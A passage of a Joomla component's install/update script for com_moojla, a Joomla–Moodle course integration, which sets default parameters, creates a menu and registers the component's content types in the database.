$db->quote('{"autorName":"Lmskaran","autorEmail":"info@Lmskaran.com","course_detail_ws":"1","fetch_course_contents":"0","showenrolled":"1","show_label_contents":"1","pagetype":"1","cert_download":"0","oncoursedeleted":"1","course_templatestyle":"0","showdebug":"0","favorite":"0","rating":"0","averagerate":"0","availabilityinfolink":"0","cangotomoodle":"0","redirect_after_enrol":"0","popupbutton":"1","showlogintab":"1","loginurl":"index.php?option=com_users&task=login&tmpl=component","showregtab":"1","registrationurl":"index.php?option=com_users&view=registration&tmpl=component","loginlbl":"Login","enterlbl":"Enter","freeenterlbl":"Enter
(free)","buylbl":"Buy","enrollbl":"Enroll","videotype":"1","videowidth":"100%","videoheight":"100%","preventdownload":"0","addcontrols":"1","preloadvideo":"0","autoplay":"0","muted":"0","preventdownloadaudio":"0","preloadaudio":"0","autoplayaudio":"0","additional_data_source":"0","student_group":"2","teacher_group":"6","total_fetch_moodle_users":"1000","number_per_request_fetch_moodle_users":"50","shop_integration":"0","shopcattype":"1","courses_category":"0","onenrolmethoddeleted":"1","moodleskyroommods":"lmskaranskyroom","directentry":"1","mycourses":"0","role":"0","showmycourse":"0","showsearchsidebar":"1","searchinmycourse":"1","number_of_results":"12","cs_display_cost":"1","coursegroupferchstep":"5","total_fetch_enrolment":"1000","number_per_request_fetch_enrolment":"50","check_in":"-1
day","save_history":"1","history_limit":"10","staffusers":["2"]}'),
);
// Condition.
$conditions = array(
$db->quoteName('element') . ' = ' .
$db->quote('com_moojla')
);
$query->update($db->quoteName('#__extensions'))->set($fields)->where($conditions);
$db->setQuery($query);
$allDone = $db->execute();
/***[JCBGUI.joomla_component.php_postflight_install.29.$$$$]***/
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('id')->from($db->quoteName('#__menu_types'))->where($db->quoteName('menutype')
. '=' . $db->quote('moojla_default'));
$db->setQuery($query);
$result = $db->loadResult();
if (empty($result)) {
$query = $db->getQuery(true)
->select('extension_id')
->from($db->quoteName('#__extensions'))
->where($db->quoteName('name') .
'=' . $db->quote('COM_MOOJLA'))
->where($db->quoteName('type') .
'=' . $db->quote('component'));
$db->setQuery($query);
$moojla_component_id = $db->loadResult();
$query = $db->getQuery(true);
$columns = array('menutype', 'title',
'description');
$values = array($db->quote('moojla_default'),
$db->quote('Moojla Default Menus'), $db->quote('Moojla
Default Description'));
$query
->insert($db->quoteName('#__menu_types'))
->columns($db->quoteName($columns))
->values(implode(',', $values));
$db->setQuery($query);
$db->execute();
require_once JPATH_ADMINISTRATOR .
'/components/com_menus/tables/menu.php';
require_once JPATH_ADMINISTRATOR .
'/components/com_menus/models/item.php';
$obj = new MenusModelItem;
$menuItems = array(
'moojla_default' =>
array(
'menutype' =>
'moojla_default',
'title' =>
'moojla_course_search',
'type' => 'component',
'link' =>
'index.php?option=com_moojla&view=course_search',
'language' => '*',
'published' => 1,
'level' => 1,
'parent_id' => 1,
'access' => 1,
'client_id' => 0
)
);
foreach ($menuItems as $key => &$menuItem) {
if ($key == 'moojla_default') {
$menuItem['component_id'] =
$moojla_component_id;
}
$obj->save($menuItem);
}
}
/***[/JCBGUI$$$$]***/
echo '<a target="_blank"
href="http://Lmskaran.com" title="Moojla">
<img
src="components/com_moojla/assets/images/vdm-component.png"/>
</a>';
}
// do any updates needed
if ($type === 'update')
{
// Get The Database object
$db = JFactory::getDbo();
// Create the course content type object.
$course = new stdClass();
$course->type_title = 'Moojla Course';
$course->type_alias = 'com_moojla.course';
$course->table = '{"special": {"dbtable":
"#__moojla_course","key":
"id","type": "Course","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$course->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"shortname","core_state":
"published","core_alias":
"alias","core_created_time":
"created","core_modified_time":
"modified","core_body":
"teachers","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"metadata","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"metakey","core_metadesc":
"metadesc","core_catid":
"catid","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"shortname":"shortname","fullname":"fullname","addcontrols":"addcontrols","showregtab":"showregtab","startdate":"startdate","enterlbl":"enterlbl","cangotomoodle":"cangotomoodle","preloadaudio":"preloadaudio","loginurl":"loginurl","in_enrol_date":"in_enrol_date","enddate":"enddate","remoteid":"remoteid","guest":"guest","cost":"cost","teachers":"teachers","summary_files":"summary_files","autoplay":"autoplay","summary":"summary","useglobalaudio":"useglobalaudio","alias":"alias","cat_name":"cat_name","currency":"currency","alterurl":"alterurl","loginlbl":"loginlbl","buylbl":"buylbl","enrollbl":"enrollbl","popupbutton":"popupbutton","videotype":"videotype","registrationurl":"registrationurl","self_enrolment":"self_enrolment","freeenterlbl":"freeenterlbl","permanent_fields":"permanent_fields","useglobalvideo":"useglobalvideo","course_templatestyle_forcourseconfig":"course_templatestyle_forcourseconfig","preventdownload":"preventdownload","course_detail_layout":"course_detail_layout","preloadvideo":"preloadvideo","availabilityinfolink":"availabilityinfolink","muted":"muted","redirect_after_enrol":"redirect_after_enrol","preventdownloadaudio":"preventdownloadaudio","showlogintab":"showlogintab","autoplayaudio":"autoplayaudio","cat_id":"cat_id"}}';
$course->router = 'MoojlaHelperRoute::getCourseRoute';
$course->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/course.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","catid","addcontrols","showregtab","cangotomoodle","preloadaudio","remoteid","guest","cost","autoplay","useglobalaudio","popupbutton","videotype","useglobalvideo","course_templatestyle_forcourseconfig","preventdownload","preloadvideo","availabilityinfolink","muted","redirect_after_enrol","preventdownloadaudio","showlogintab","autoplayaudio","cat_id"],"displayLookup":
[{"sourceColumn": "catid","targetTable":
"#__categories","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_templatestyle_forcourseconfig","targetTable":
"#__template_styles","targetColumn":
"id","displayColumn": "title"}]}';
// Check if course type is already in content_type DB.
$course_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$course->type_id = $db->loadResult();
$course_Updated = $db->updateObject('#__content_types',
$course, 'type_id');
}
else
{
$course_Inserted = $db->insertObject('#__content_types',
$course);
}
// Create the course category content type object.
$course_category = new stdClass();
$course_category->type_title = 'Moojla Course Catid';
$course_category->type_alias =
'com_moojla.course.category';
$course_category->table =
'{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}';
$course_category->field_mappings =
'{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description",
"core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access",
"core_params":"params",
"core_featured":"null",
"core_metadata":"metadata",
"core_language":"language",
"core_images":"null",
"core_urls":"null",
"core_version":"version",
"core_ordering":"null",
"core_metakey":"metakey",
"core_metadesc":"metadesc",
"core_catid":"parent_id",
"core_xreference":"null",
"asset_id":"asset_id"},
"special":{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}';
$course_category->router =
'MoojlaHelperRoute::getCategoryRoute';
$course_category->content_history_options =
'{"formFile":"administrator\/components\/com_categories\/models\/forms\/category.xml",
"hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"],
"ignoreChanges":["modified_user_id",
"modified_time", "checked_out",
"checked_out_time", "version", "hits",
"path"],"convertToInt":["publish_up",
"publish_down"],
"displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}';
// Check if course category type is already in content_type DB.
$course_category_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course_category->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$course_category->type_id = $db->loadResult();
$course_category_Updated =
$db->updateObject('#__content_types', $course_category,
'type_id');
}
else
{
$course_category_Inserted =
$db->insertObject('#__content_types', $course_category);
}
// Create the course_field_mapper content type object.
$course_field_mapper = new stdClass();
$course_field_mapper->type_title = 'Moojla
Course_field_mapper';
$course_field_mapper->type_alias =
'com_moojla.course_field_mapper';
$course_field_mapper->table = '{"special":
{"dbtable":
"#__moojla_course_field_mapper","key":
"id","type":
"Course_field_mapper","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$course_field_mapper->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"coursefield","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"coursefield":"coursefield","mcoursefields":"mcoursefields","field_icon":"field_icon"}}';
$course_field_mapper->router =
'MoojlaHelperRoute::getCourse_field_mapperRoute';
$course_field_mapper->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_field_mapper.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","coursefield"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"coursefield","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"mcoursefields","targetTable":
"#__moojla_course_field_mapper","targetColumn":
"id","displayColumn": "id"}]}';
// Check if course_field_mapper type is already in content_type DB.
$course_field_mapper_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course_field_mapper->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$course_field_mapper->type_id = $db->loadResult();
$course_field_mapper_Updated =
$db->updateObject('#__content_types', $course_field_mapper,
'type_id');
}
else
{
$course_field_mapper_Inserted =
$db->insertObject('#__content_types', $course_field_mapper);
}
// Create the user_map content type object.
$user_map = new stdClass();
$user_map->type_title = 'Moojla User_map';
$user_map->type_alias = 'com_moojla.user_map';
$user_map->table = '{"special": {"dbtable":
"#__moojla_user_map","key":
"id","type": "User_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$user_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"jid","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jid":"jid","mid":"mid","userimage":"userimage","debug":"debug","updatetype":"updatetype"}}';
$user_map->router = 'MoojlaHelperRoute::getUser_mapRoute';
$user_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/user_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version","debug"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jid","mid","updatetype"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Check if user_map type is already in content_type DB.
$user_map_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($user_map->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$user_map->type_id = $db->loadResult();
$user_map_Updated = $db->updateObject('#__content_types',
$user_map, 'type_id');
}
else
{
$user_map_Inserted = $db->insertObject('#__content_types',
$user_map);
}
// Create the user_field_map content type object.
$user_field_map = new stdClass();
$user_field_map->type_title = 'Moojla User_field_map';
$user_field_map->type_alias = 'com_moojla.user_field_map';
$user_field_map->table = '{"special":
{"dbtable": "#__moojla_user_field_map","key":
"id","type":
"User_field_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$user_field_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"juserfields","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"juserfields":"juserfields","muserfields":"muserfields","iscv":"iscv"}}';
$user_field_map->router =
'MoojlaHelperRoute::getUser_field_mapRoute';
$user_field_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/user_field_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","iscv"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"juserfields","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"muserfields","targetTable":
"#__moojla_user_field_map","targetColumn":
"id","displayColumn": "id"}]}';
// Check if user_field_map type is already in content_type DB.
$user_field_map_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($user_field_map->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$user_field_map->type_id = $db->loadResult();
$user_field_map_Updated =
$db->updateObject('#__content_types', $user_field_map,
'type_id');
}
else
{
$user_field_map_Inserted =
$db->insertObject('#__content_types', $user_field_map);
}
// Create the course_group_map content type object.
$course_group_map = new stdClass();
$course_group_map->type_title = 'Moojla Course_group_map';
$course_group_map->type_alias =
'com_moojla.course_group_map';
$course_group_map->table = '{"special":
{"dbtable":
"#__moojla_course_group_map","key":
"id","type":
"Course_group_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$course_group_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","course_group":"course_group","role":"role"}}';
$course_group_map->router =
'MoojlaHelperRoute::getCourse_group_mapRoute';
$course_group_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_group_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","course_group","role"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';
// Check if course_group_map type is already in content_type DB.
$course_group_map_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($course_group_map->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$course_group_map->type_id = $db->loadResult();
$course_group_map_Updated =
$db->updateObject('#__content_types', $course_group_map,
'type_id');
}
else
{
$course_group_map_Inserted =
$db->insertObject('#__content_types', $course_group_map);
}
// Create the enrolment content type object.
$enrolment = new stdClass();
$enrolment->type_title = 'Moojla Enrolment';
$enrolment->type_alias = 'com_moojla.enrolment';
$enrolment->table = '{"special": {"dbtable":
"#__moojla_enrolment","key":
"id","type": "Enrolment","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$enrolment->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"role":"role","moojlacourse":"moojlacourse","jid":"jid","enrolldate":"enrolldate"}}';
$enrolment->router =
'MoojlaHelperRoute::getEnrolmentRoute';
$enrolment->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/enrolment.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","jid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"jid","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Check if enrolment type is already in content_type DB.
$enrolment_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($enrolment->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$enrolment->type_id = $db->loadResult();
$enrolment_Updated = $db->updateObject('#__content_types',
$enrolment, 'type_id');
}
else
{
$enrolment_Inserted =
$db->insertObject('#__content_types', $enrolment);
}
// Create the tag content type object.
$tag = new stdClass();
$tag->type_title = 'Moojla Tag';
$tag->type_alias = 'com_moojla.tag';
$tag->table = '{"special": {"dbtable":
"#__moojla_tag","key": "id","type":
"Tag","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$tag->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"tagname","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"tagid":"tagid","tagname":"tagname","isstandard":"isstandard","tags":"tags"}}';
$tag->router = 'MoojlaHelperRoute::getTagRoute';
$tag->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","tagid","isstandard","tags"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Check if tag type is already in content_type DB.
$tag_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($tag->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$tag->type_id = $db->loadResult();
$tag_Updated = $db->updateObject('#__content_types', $tag,
'type_id');
}
else
{
$tag_Inserted = $db->insertObject('#__content_types',
$tag);
}
// Create the tag_instance content type object.
$tag_instance = new stdClass();
$tag_instance->type_title = 'Moojla Tag_instance';
$tag_instance->type_alias = 'com_moojla.tag_instance';
$tag_instance->table = '{"special":
{"dbtable": "#__moojla_tag_instance","key":
"id","type":
"Tag_instance","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$tag_instance->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","moodletag":"moodletag"}}';
$tag_instance->router =
'MoojlaHelperRoute::getTag_instanceRoute';
$tag_instance->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag_instance.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","moodletag"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"moodletag","targetTable":
"#__moojla_tag","targetColumn":
"tagid","displayColumn": "tagname"}]}';
// Check if tag_instance type is already in content_type DB.
$tag_instance_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($tag_instance->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$tag_instance->type_id = $db->loadResult();
$tag_instance_Updated =
$db->updateObject('#__content_types', $tag_instance,
'type_id');
}
else
{
$tag_instance_Inserted =
$db->insertObject('#__content_types', $tag_instance);
}
// Create the section content type object.
$section = new stdClass();
$section->type_title = 'Moojla Section';
$section->type_alias = 'com_moojla.section';
$section->table = '{"special": {"dbtable":
"#__moojla_section","key":
"id","type": "Section","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$section->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"section_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"summary","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"courseid":"courseid","section_id":"section_id","name":"name","visible":"visible","uservisible":"uservisible","summary":"summary"}}';
$section->router = 'MoojlaHelperRoute::getSectionRoute';
$section->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/section.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","courseid","section_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Check if section type is already in content_type DB.
$section_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($section->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$section->type_id = $db->loadResult();
$section_Updated = $db->updateObject('#__content_types',
$section, 'type_id');
}
else
{
$section_Inserted = $db->insertObject('#__content_types',
$section);
}
// Create the module content type object.
$module = new stdClass();
$module->type_title = 'Moojla Module';
$module->type_alias = 'com_moojla.module';
$module->table = '{"special": {"dbtable":
"#__moojla_module","key":
"id","type": "Module","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$module->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"module_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"modicon","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"module_section_id":"module_section_id","module_id":"module_id","name":"name","modname":"modname","visible":"visible","uservisible":"uservisible","modicon":"modicon","description":"description","url":"url"}}';
$module->router = 'MoojlaHelperRoute::getModuleRoute';
$module->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/module.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","module_section_id","module_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Check if module type is already in content_type DB.
$module_id = null;
$query = $db->getQuery(true);
$query->select($db->quoteName(array('type_id')));
$query->from($db->quoteName('#__content_types'));
$query->where($db->quoteName('type_alias') . ' LIKE
'. $db->quote($module->type_alias));
$db->setQuery($query);
$db->execute();
// Set the object into the content types table.
if ($db->getNumRows())
{
$module->type_id = $db->loadResult();
$module_Updated = $db->updateObject('#__content_types',
$module, 'type_id');
}
else
{
$module_Inserted = $db->insertObject('#__content_types',
$module);
}
// Create the content content type object.
$content = new stdClass();
$content->type_title = 'Moojla Content';
$content->type_alias = 'com_moojla.content';
$content->table = '{"special": {"dbtable":
"#__moojla_content","key":
"id","type": "Content","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$content->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"type","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
